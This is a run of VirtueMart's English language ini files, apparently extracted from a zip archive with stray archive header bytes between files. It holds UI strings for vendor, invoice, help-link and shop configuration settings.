COM_VIRTUEMART_USER_ISNOTVENDOR="Not a vendor" COM_VIRTUEMART_USER_ISVENDOR="Is a vendor" COM_VIRTUEMART_USER_IS_VENDOR="Vendor?" COM_VIRTUEMART_USER_LIST_LBL="Shopper List" COM_VIRTUEMART_USER_NOSHIPPINGADDR="No Shipment Addresses." COM_VIRTUEMART_USER_REGISTRATION_DISABLED="User registration is disabled, it must be enabled in order to proceed." COM_VIRTUEMART_USER_S="Shoppers" COM_VIRTUEMART_USER_SAVED="Shopper saved" COM_VIRTUEMART_USER_USERNAME_INCOMPLETE_PROFILE="User %s has an incomplete profile" COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Displays the VirtueMart Shopper Account Maintenance" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="VirtueMart Account Maintenance" COM_VIRTUEMART_VALUE="Value" COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE="Values are required for this type." COM_VIRTUEMART_VENDOR="Vendor" COM_VIRTUEMART_VENDORLETTER="Invoices/Emails" COM_VIRTUEMART_VENDORLETTER_DESC="Here you can configure the look of invoices, delivery notes etc. You can take a look at a preview page (after saving the changes) HERE." COM_VIRTUEMART_VENDOR_DATA_STORED="Vendor data stored" COM_VIRTUEMART_VENDOR_FIELD_EMAIL="Status mail configuration" COM_VIRTUEMART_VENDOR_FIELD_INVOICE="Invoice configuration" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Select a vendor" COM_VIRTUEMART_VENDOR_FORM_INFO_LBL="Vendor Information" COM_VIRTUEMART_VENDOR_ID="vendor" COM_VIRTUEMART_VENDOR_IMAGE="Vendor image" COM_VIRTUEMART_VENDOR_INVOICE_FREE1="Invoice custom text top" COM_VIRTUEMART_VENDOR_INVOICE_FREE1_DESC="Define a custom text that will be displayed at the top of your invoice." COM_VIRTUEMART_VENDOR_INVOICE_FREE2="Invoice custom text bottom" COM_VIRTUEMART_VENDOR_INVOICE_FREE2_DESC="Define a custom text that will be displayed at the bottom of your invoice." COM_VIRTUEMART_VENDOR_LETTER_A4="A4" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS="Append Terms of Service" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_PAGEBREAK="Pagebreak before Terms" COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_PAGEBREAK_TIP="If the TOS are appended to the invoices, insert a page break before the TOS." COM_VIRTUEMART_VENDOR_LETTER_ADD_TOS_TIP="If checked, the Terms of Service will be appended (optionally after a line break) to all invoices, e.g. to fulfill a legal requirement." COM_VIRTUEMART_VENDOR_LETTER_CSS="CSS Styles for the Document" COM_VIRTUEMART_VENDOR_LETTER_FONT="Default Font" COM_VIRTUEMART_VENDOR_LETTER_FONTS="Appearance" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE="Contents Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE_FOOTER="Footer Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_SIZE_HEADER="Header Font Size" COM_VIRTUEMART_VENDOR_LETTER_FONT_TIP="PDF invoices will be produced with the selected font as default font. Selecting a UTF-8 Unicode Font will increase the size of the invoices and the size of the pdf produced in product details view PDF, but it will also support Greek, Cyrillic, etc." COM_VIRTUEMART_VENDOR_LETTER_FOOT="Invoice footer" COM_VIRTUEMART_VENDOR_LETTER_FOOTER="Display footer" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_CELL_RATIO="Footer cell height ratio" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_COLOR="Background color" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_LINE="Line above footer" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_LINE_COLOR="Line color" COM_VIRTUEMART_VENDOR_LETTER_FOOTER_REPEAT="Repeat on subsequent pages" COM_VIRTUEMART_VENDOR_LETTER_FORMAT="Page Format" COM_VIRTUEMART_VENDOR_LETTER_HEAD="Invoice Head" COM_VIRTUEMART_VENDOR_LETTER_HEADER="Display header" COM_VIRTUEMART_VENDOR_LETTER_HEADER_CELL_RATIO="Header cell height ratio" COM_VIRTUEMART_VENDOR_LETTER_HEADER_IMAGE="Include Vendor Image" COM_VIRTUEMART_VENDOR_LETTER_HEADER_IMAGESIZE="Size of Vendor Image" COM_VIRTUEMART_VENDOR_LETTER_HEADER_LINE="Line below header" COM_VIRTUEMART_VENDOR_LETTER_HEADER_LINE_COLOR="Line color" COM_VIRTUEMART_VENDOR_LETTER_LETTER="Letter" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_BOTTOM="Contents Bottom Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_FOOTER="Footer Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_HEADER="Header Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_LEFT="Left Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_RIGHT="Right Margin" COM_VIRTUEMART_VENDOR_LETTER_MARGIN_TOP="Contents Top Margin" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION="Orientation" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_LANDSCAPE="Landscape" COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_PORTRAIT="Portrait" COM_VIRTUEMART_VENDOR_LETTER_PAGE="Invoice page geometry" COM_VIRTUEMART_VENDOR_LETTER_REPLACEMENTS_DESC="In the letter headers and footers, you can use the following placeholders to display non-fixed text: {vm:pagenum}, {vm:pagecount}, {vm:vendorname}, {vm:vendorimage}, {vm:vendoraddress}, {vm:vendorlegalinfo}, {vm:vendordescription}, {vm:tos}." COM_VIRTUEMART_VENDOR_MAIL_APPEARANCE="Mail appearance" COM_VIRTUEMART_VENDOR_MAIL_FONT="Default font" COM_VIRTUEMART_VENDOR_MAIL_FONT_SIZE="Content font size" COM_VIRTUEMART_VENDOR_MAIL_FONT_SIZE_FOOTER="Footer font size" COM_VIRTUEMART_VENDOR_MAIL_FONT_SIZE_HEADER="Header font size" COM_VIRTUEMART_VENDOR_MAIL_FREE1="Mail custom text top" COM_VIRTUEMART_VENDOR_MAIL_FREE1_DESC="Define a custom text that will be displayed at the top of your mails." COM_VIRTUEMART_VENDOR_MAIL_FREE2="Mail custom text bottom" COM_VIRTUEMART_VENDOR_MAIL_FREE2_DESC="Define a custom text that will be displayed at the bottom of your mails." COM_VIRTUEMART_VENDOR_MAIL_HEADER="Show mail header?" COM_VIRTUEMART_VENDOR_MAIL_LOGO="Show logo in mails?" COM_VIRTUEMART_VENDOR_MAIL_LOGO_WIDTH="Logo width" COM_VIRTUEMART_VENDOR_MAIL_TOS="Show Terms of Service?" COM_VIRTUEMART_VENDOR_MAIL_WIDTH="Mail width" COM_VIRTUEMART_VENDOR_NAME="Vendor name" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Displays VirtueMart vendors" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Displays VirtueMart vendors" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Displays VirtueMart vendor details" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="View vendor TOS" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="View vendor TOS" COM_VIRTUEMART_VERSIONCHECK_TITLE="VirtueMart Version Check" COM_VIRTUEMART_VIEW="View" COM_VIRTUEMART_VIRTUEMART_COUNTRY_ID="country id" COM_VIRTUEMART_VIRTUEMART_CUSTOM_ID="custom id" COM_VIRTUEMART_VIRTUEMART_ORDER_ID="Order id" COM_VIRTUEMART_VIRTUEMART_PRODUCT_ID="Product id" COM_VIRTUEMART_VIRTUEMART_STATE_IDS="States" COM_VIRTUEMART_VIRTUEMART_USERINFO_ID="User information id" COM_VIRTUEMART_VIRTUEMART_USER_ID="user id" COM_VIRTUEMART_VIRTUEMART_VENDOR_ID="vendor" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="VirtueMart Front page" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Displays the VirtueMart front page" COM_VIRTUEMART_VISIBLE_FOR_SHOPPER="Visible for Shopper" COM_VIRTUEMART_VISIBLE_FOR_VENDOR="Visible for vendor" COM_VIRTUEMART_VOTE_JED="Vote and Rate at JED" COM_VIRTUEMART_VOTE_JED_DESC="If you use VirtueMart, please post a rating and a review at the Joomla! Extensions Directory." COM_VIRTUEMART_WAITING_LIST_DELETE_ERR_PRODUCT="You must enter a product id." COM_VIRTUEMART_WAITING_LIST_DELETE_SELECT="Please select a waiting list id to delete." COM_VIRTUEMART_WAITING_LIST_ERR_ALREADY="You are already being notified of this product." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_ENTER="You must enter an email address to be on the waiting list." COM_VIRTUEMART_WAITING_LIST_ERR_EMAIL_NOTVALID="Please provide a valid email address." COM_VIRTUEMART_WAITING_LIST_ERR_PRODUCT="You must enter a product to be on the waiting list." COM_VIRTUEMART_WARN_NO_SAFE_PATH_SET="Warning, the %1$s is empty, for safety reasons it is very important to create a folder in a path not accessible by an URL, create also a folder invoices in it to store your sensitive data secure. Our suggested path is for your system %2$s, use this link to the config" COM_VIRTUEMART_WARN_SAFE_PATH_INV_NOT_WRITEABLE="The path for invoices seems to miss the correct file permissions %1$s" COM_VIRTUEMART_WARN_SAFE_PATH_NOT_WRITEABLE="The %1$s is not writeable. Please ensure that you have the correct file permissions and directory settings" COM_VIRTUEMART_WARN_SAFE_PATH_NO_INVOICE="Sorry, was not able to create directory for invoices in the %1$s, please create there manually the folder 'invoices'" COM_VIRTUEMART_WARN_SAFE_PATH_WRONG="Warning, the %1$s is not accessible (does not exist or no permission), for safety reasons it is very important to create a folder in a path not accessible by an URL, create also a folder invoices in it to store your sensitive data secure. Our suggested path is for your system %2$s, use this link to the config" COM_VIRTUEMART_WEEK="Week" COM_VIRTUEMART_WEEKS="Weeks" COM_VIRTUEMART_WEEK_S="Weeks" COM_VIRTUEMART_WORLDZONE="Zone" COM_VIRTUEMART_WRITABLE="Writeable" COM_VIRTUEMART_X_CHILD_PRODUCT="%s Children" COM_VIRTUEMART_YEAR="Year" COM_VIRTUEMART_YEAR_S="Years" COM_VIRTUEMART_YES="Yes" COM_VIRTUEMART_YOUR_VERSION="Your Version" COM_VIRTUEMART_ZONE_ASSIGN_CURRENT_LBL="Current Zone" ; already added for vm2.1 COM_VIRTUEMART_CUSTOM_IS_CART_INPUT="Cart Input" COM_VIRTUEMART_CUSTOM_OVERRIDE="Override for %s" COM_VIRTUEMART_FIELDMANAGER_SHOW_ON_CART="Show in cart form" ;ACL settings COM_VIRTUEMART_CALC_EDIT="Edit Taxes and Calculation Rules" COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_EDIT="Edit Custom Fields" COM_VIRTUEMART_SHOPPERGROUP_EDIT="Edit Shopper Groups" COM_VIRTUEMART_USERS_EDIT="Edit users" PKB\Vlanguage/en-GB/index.htmlnuW+A PKB\vSr,language/en-GB/en-GB.com_virtuemart_help.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART_HELP_CATEGORY="http://docs.virtuemart.net/home/17-products-menu/39-product-categories" COM_VIRTUEMART_HELP_CATEGORY_EDIT="http://docs.virtuemart.net/home/17-products-menu/27-category-edit" COM_VIRTUEMART_HELP_PRODUCT="http://docs.virtuemart.net/home/17-products-menu/33-product" COM_VIRTUEMART_HELP_PRODUCT_EDIT="http://docs.virtuemart.net/home/17-products-menu/28-product-edit" COM_VIRTUEMART_HELP_CUSTOM="http://docs.virtuemart.net/home/17-products-menu/38-custom-edit" COM_VIRTUEMART_HELP_CUSTOM_EDIT="http://docs.virtuemart.net/home/17-products-menu/38-custom-edit" COM_VIRTUEMART_HELP_INVENTORY="http://docs.virtuemart.net/home/17-products-menu/29-inventory" COM_VIRTUEMART_HELP_CALC="http://docs.virtuemart.net/home/17-products-menu/30-taxes-and-calculation-rules" COM_VIRTUEMART_HELP_CALC_EDIT="http://docs.virtuemart.net/home/17-products-menu/36-calc-edit" COM_VIRTUEMART_HELP_RATINGS="http://docs.virtuemart.net/home/17-products-menu/31-reviews-and-ratings" COM_VIRTUEMART_HELP_RATINGS_LISTREVIEWS="http://docs.virtuemart.net/home/17-products-menu/40-list-reviews-and-ratings" COM_VIRTUEMART_HELP_RATINGS_EDIT_REVIEW="http://docs.virtuemart.net/home/17-products-menu/41-edit-review-and-rating" COM_VIRTUEMART_HELP_ORDERS="http://docs.virtuemart.net/home/18-order-shoppers-menu/42-orders" COM_VIRTUEMART_HELP_ORDERS_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/43-edit-order" COM_VIRTUEMART_HELP_REPORT="http://docs.virtuemart.net/home/18-order-shoppers-menu/44-revenue-report" COM_VIRTUEMART_HELP_USER="http://docs.virtuemart.net/home/18-order-shoppers-menu/45-shoppers" COM_VIRTUEMART_HELP_USER_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/46-edit-shopper" COM_VIRTUEMART_HELP_SHOPPERGROUP="http://docs.virtuemart.net/home/18-order-shoppers-menu/47-shopper-groups" COM_VIRTUEMART_HELP_SHOPPERGROUP_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/48-edit-shopper-group" COM_VIRTUEMART_HELP_COUPON="http://docs.virtuemart.net/home/18-order-shoppers-menu/49-coupons" COM_VIRTUEMART_HELP_COUPON_EDIT="http://docs.virtuemart.net/home/18-order-shoppers-menu/50-edit-coupon" COM_VIRTUEMART_HELP_MANUFACTURER="http://docs.virtuemart.net/home/19-manufacturers-menu/51-manufacturers" COM_VIRTUEMART_HELP_MANUFACTURER_EDIT="http://docs.virtuemart.net/home/19-manufacturers-menu/52-edit-manufacturer" COM_VIRTUEMART_HELP_MANUFACTURERCATEGORIES="http://docs.virtuemart.net/home/19-manufacturers-menu/53-manufacturer-categories" COM_VIRTUEMART_HELP_MANUFACTURERCATEGORIES_EDIT="http://docs.virtuemart.net/home/19-manufacturers-menu/72-edit-manufacturer" COM_VIRTUEMART_HELP_USER_EDITSHOP="http://docs.virtuemart.net/home/20-shop-menu/55-shop" COM_VIRTUEMART_HELP_MEDIA="http://docs.virtuemart.net/home/20-shop-menu/56-media-files" COM_VIRTUEMART_HELP_MEDIA_EDIT="http://docs.virtuemart.net/home/20-shop-menu/57-edit-media-file" COM_VIRTUEMART_HELP_SHIPMENTMETHOD="http://docs.virtuemart.net/home/20-shop-menu/58-shipment-methods" COM_VIRTUEMART_HELP_SHIPMENTMETHOD_EDIT="http://docs.virtuemart.net/home/20-shop-menu/59-edit-shipment-method" COM_VIRTUEMART_HELP_PAYMENTMETHOD="http://docs.virtuemart.net/home/20-shop-menu/60-payment-methods" COM_VIRTUEMART_HELP_PAYMENTMETHOD_EDIT="http://docs.virtuemart.net/home/20-shop-menu/61-edit-payment-method" COM_VIRTUEMART_HELP_CONFIG="http://docs.virtuemart.net/home/21-configuration-menu/62-configuration" COM_VIRTUEMART_HELP_USERFIELDS="http://docs.virtuemart.net/home/21-configuration-menu/63-shopper-fields" COM_VIRTUEMART_HELP_USERFIELDS_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/64-edit-shopper-field" COM_VIRTUEMART_HELP_ORDERSTATUS="http://docs.virtuemart.net/home/21-configuration-menu/65-order-statuses" COM_VIRTUEMART_HELP_ORDERSTATUS_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/66-edit-order-status" COM_VIRTUEMART_HELP_CURRENCY="http://docs.virtuemart.net/home/21-configuration-menu/67-currencies" COM_VIRTUEMART_HELP_CURRENCY_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/68-edit-currency" COM_VIRTUEMART_HELP_COUNTRY="http://docs.virtuemart.net/home/21-configuration-menu/69-countries" COM_VIRTUEMART_HELP_COUNTRY_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/71-edit-country" COM_VIRTUEMART_HELP_STATE="http://docs.virtuemart.net/home/21-configuration-menu/state" COM_VIRTUEMART_HELP_STATE_EDIT="http://docs.virtuemart.net/home/21-configuration-menu/state-edit" COM_VIRTUEMART_HELP_UPDATESMIGRATION="http://docs.virtuemart.net/home/22-tools-menu/70-tools-migration" PKB\ƷSS.language/en-GB/en-GB.com_virtuemart_config.ininuW+A; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; Config COM_VIRTUEMART_ADMIN_CFG_ACCOUNT_ACTIVATION="New account activation necessary?" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP="Display modal popup upon 'Add to cart'" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP_EXPLAIN="If checked, you see the modal 'facebox' on adding a product to cart else you are redirect to the cart" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER="Must agree to Terms of Service on EVERY ORDER?" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER_EXPLAIN="Check if you want a shopper to agree to your terms of service on EVERY ORDER (before placing the order)." COM_VIRTUEMART_ADMIN_CFG_ALLOW_REGISTRATION="User registration allowed?" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH="General Assets URL" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH_EXPLAIN="This is usually the URL to the asset folder in com_virtuemart (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT="Enable Automatic Selected Payment?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT_EXPLAIN="When Automatic Selected Payment is enabled, if only one payment method is available, then it is preselected.
If Automatic Selected Payment is NOT selected, even when there is only one payment method is available, a new page is loaded. It is usefull if the payment method must validate payment data entered by the user." COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT="Enable Automatic Selected Shipment?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT_EXPLAIN="When Automatic Selected Shipment is enabled, if only one shipment method is available, then it is preselected.
If Automatic Selected Shipment is NOT selected, even when there is only one shipment method is available, a new page is loaded. It is usefull if the shipment method must validate shipment data entered by the user." COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW="Default number of categories in a row" COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW_EXPLAIN="This defines the number of categories in a row.
" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT="Category Layout" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT_EXPLAIN="This is the default layout for browsing categories." COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE="Category Template" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE_EXPLAIN="This defines the default category template for displaying products in a category.
" COM_VIRTUEMART_ADMIN_CFG_CAT_FEED_SETTINGS="Category Feed Settings" COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB="Checkout" COM_VIRTUEMART_ADMIN_CFG_CHECKOUT_SETTINGS="Checkout Settings" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT="Shop date format" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT_EXPLAIN="The default date format used by the shop. Ex: %m/%d/%y." COM_VIRTUEMART_ADMIN_CFG_DEBUG="DEBUG?" COM_VIRTUEMART_ADMIN_CFG_DEBUG_EXPLAIN="Turns on the debug output. This causes the DEBUGPAGE to be displayed at the bottom of each page. Very helpful during shop development since it shows the carts contents, form field values, etc." COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS="Client IP address" COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS_EXPLAIN="If you enable this option and enter an IP address here, then debug output will be enabled ONLY for this client IP address. Other clients will not see the debugging output." COM_VIRTUEMART_ADMIN_CFG_DOWNLOADABLETAB="Downloads" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT="Download Path" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT_EXPLAIN="The physical path to the files for the shopper download. (trailing slash at the end!)
" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE="Download Expire" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE_EXPLAIN="Sets the time range in seconds in which the download is enabled for the shopper." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL="Keep Product Stock Level on Purchase?" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL_TIP="When enabled, the stock level for a downloadable product is not lowered although it was purchased by shoppers." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX="Download Maximum" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX_EXPLAIN="Sets the number of downloads which can be made with one Download-ID, (for one order)" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_SETTINGS="Download Settings" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING="Enable Dynamic Thumbnail Resizing?" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING_TIP="If checked, you enable dynamic Image Resizing. This means that all Thumbnail Images are resized to fit the Sizes you provide below" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN="Enable Joomla Plugin" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN_EXPLAIN="Enable Joomla content Plugin for the Product description. Should not be checked if you don't use Joomla content plugin" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG="Enable debugging messages" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN="Only for administrators" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL="For all" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_EXPLAIN="Select to who the debug message are reported" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE="No debug" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS="Enable Downloads" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS_EXPLAIN="Check to enable the download capability. Only if you want to sell downloadable goods." COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH="Use english as fallback for untranslated strings" COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH_EXPLAIN="Load the english language file, to avoid untranslated strings to be displayed as keys" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY="Use external google jQuery library" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY_TIP="Using the external google library improves page speed" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX="Enable Multivendor (experimental only for developers)" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN="administrated multivendor" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_EXPLAIN="Enable this function only, when you can code php and know what to do, this is just an option to enable multivendor for customisation." COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE="none" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES="Create and send pdf invoices" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES_EXPLAIN="For this feature it is important that you set your safe path correctly" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE="ERRORPAGE" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE_EXPLAIN="This is the default page for displaying error messages." COM_VIRTUEMART_ADMIN_CFG_EXPLAIN="Be aware that a session cache is active for the configuration and has a life time of 500 minutes. Your changes take up to 5 minutes to affect all sessions, including your session. To generate a new session, just logout, and login again." COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS="Rows for featured products" COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS_EXPL="This defines the number of rows for featured products." COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE="Type of Product Description" COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE_TIP="Choose the type of product description that will be included with the feed." COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE="Enable Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the products of all certain categories in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_ENABLE="Enable Featured Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the Featured products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_NB="Number of featured products" COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_NB_TIP="Number of featured products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_ENABLE="Enable Latest Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the latest products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_NB="Number of latest products" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_NB_TIP="Number of latest products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FEED_LIMITTEXT="Limit the Description?" COM_VIRTUEMART_ADMIN_CFG_FEED_MAX_TEXT_LENGTH="Maximum Description Length" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC="Include the Product Description?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC_TIP="If enabled, the Product Description will be added to the feed item" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES="Include Images into the feed?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES_TIP="If enabled, the thumb images will be included with the feed item." COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES="Include the Product Price into the description?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES_TIP="If enabled, the standard Product Price will be added to the Product Description" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_ENABLE="Enable Top Ten Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the Top Ten products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_NB="Number of topten products" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_NB_TIP="Number of topten products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN="Allow Frontend-Administration for non-Backend Users?" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN_EXPLAIN="With this setting you can enable the Frontend Administration for users who" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS="Using the VirtueMart CSS" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS="Activate Css Styles & Javascripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS_TIP="Inactivate some of this script requires the installation of the replacement script in your template.
In other case your shop is no longer functional " COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_TIP="Using the original Virtuemart CSS design" COM_VIRTUEMART_ADMIN_CFG_FRONT_JCHOSEN="Use jQuery chosen for dropdowns in FE" COM_VIRTUEMART_ADMIN_CFG_FRONT_JCHOSEN_TIP="Usually you can activate this, but some templates may have already their own solution" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE="Using the product Scripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE_TIP="These scripts are required for the dynamic operation of the basket and price!
You loose all the standard inter-activity by turning off the script" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY="Using the VirtueMart jQuery" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY_TIP="To address some issues between VirtueMart and Templates / component / modules, you can disable the jQuery internal library " COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE="Using the Script ajax Countries / Regions" COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE_TIP="Dynamic update Your country / region will not work without this script.
Please, verify that this does not affect the operation of your site" COM_VIRTUEMART_ADMIN_CFG_GD_MISSING="Dynamic Image Resizing is not available. The GD library seems to be missing" COM_VIRTUEMART_ADMIN_CFG_HOMEPAGE_SETTINGS="VirtueMart Home Page Settings" COM_VIRTUEMART_ADMIN_CFG_HOME_FEED_SETTINGS="Home Page Feed Settings" COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT="Use joomla default" COM_VIRTUEMART_ADMIN_CFG_LANGFIX="Language Javascript Fix" COM_VIRTUEMART_ADMIN_CFG_LANGFIX_EXPLAIN="Activate the language Javascript Fix for some Joomla version" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS="Rows for latest" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS_EXPL="This defines the number of rows for latest products." COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT="Order-mail format" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_EXPLAIN="This determines how your order confirmation emails are set up" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_HTML="HTML mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_TEXT="Text mail" 